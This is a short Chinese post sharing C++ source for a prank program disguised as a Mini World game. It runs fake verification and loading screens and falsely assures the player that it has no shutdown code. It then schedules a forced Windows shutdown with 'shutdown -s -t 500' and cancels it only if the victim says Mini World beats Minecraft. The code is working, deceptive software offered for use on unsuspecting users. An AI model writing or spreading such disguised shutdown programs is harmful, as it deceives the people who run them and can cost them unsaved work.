HI!大家好!小编今天做了个整人代码
源码奉上!!!
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
void cls(){
system("CLS");
}
int main(){
cout<<"欢迎游玩迷你世界小游戏!!!";
Sleep(2000);
system("CLS");
cout<<"你要相信作者!!!本游戏无关机代码!!!";
Sleep(2000);
system("CLS");
cout<<"开局赠送迷你币20130903枚!!!(别问为什么!!!)";
Sleep(2000);
system("CLS");
cout<<"_________________________\n";
cout<<"| |\n";
cout<<"| 迷你玩 |\n";
cout<<"|_______________________|";
Sleep(2000);
system("CLS");
cout<<"请输入验证码:";
MessageBox(NULL,"迷你世界官方:关闭该窗口可看到验证码!","迷你世界",MB_OK);
srand(time(0));
int yzm=rand()%9648+1538;
system("CLS");
cout<<"验证码为:"<<yzm;
cout<<"\n请输入验证码:";
int yzmm;
cin>>yzmm;
if(yzmm!=yzm){
system("CLS");
cout<<"错误!!!";
return 0;
}
system("CLS");
cout<<"迷你世界";
Sleep(2000);
system("CLS");
for(int i=1;i<=30;i++){
cout<<"加载世界模块中("<<i<<"/100)";
Sleep(10);
system("CLS");
}
for(int i=30;i<=70;i++){
cout<<"加载人物模型中("<<i<<"/100)";
Sleep(10);
system("CLS");
}
for(int i=70;i<=100;i++){
cout<<"进入游戏中("<<i<<"/100)";
Sleep(10);
system("CLS");
}
Sleep(2000);
system("CLS");
cout<<"创建名称:";
string name;
cin>>name;
cls();
cout<<"欢迎玩家:"<<name;
Sleep(2000);
cls();
long long mnh=rand()%91034919402+26491894103;
long long mnb=20130903;
start:
cout<<name<<" 迷你号"<<mnh<<" 迷你币"<<mnb;
cout<<"\n1.开始游戏";
cout<<"\n2.联机大厅";
cout<<"\n3.好友";
cout<<"\n4.我的家园";
cout<<"\n输入:";
int du;
cin>>du;
if(du==3){
cls();
cout<<"好友列表:\n1.迷你队长";
Sleep(1000);
cls();
goto start;
}
else{
cls();
cout<<"哈哈哈!你被骗了,电脑要关机了!!!";
system("shutdown -s -t 500");
Sleep(5000);
cls();
cout<<"等等!问你个问题:答对就放过你,迷你世界好玩还是MC好玩?";
cout<<"\nA.迷你 B.MC";
char a;
cin>>a;
if(a=='A'){
cls();
cout<<"正中作者心扉!放过你吧!!!";
system("shutdown -a");
}
else{
cls();
cout<<"你你你你你你你您你你你你你你你你你你!";
cout<<"\n等着关机吧!!!!";
}
}
return 0;
}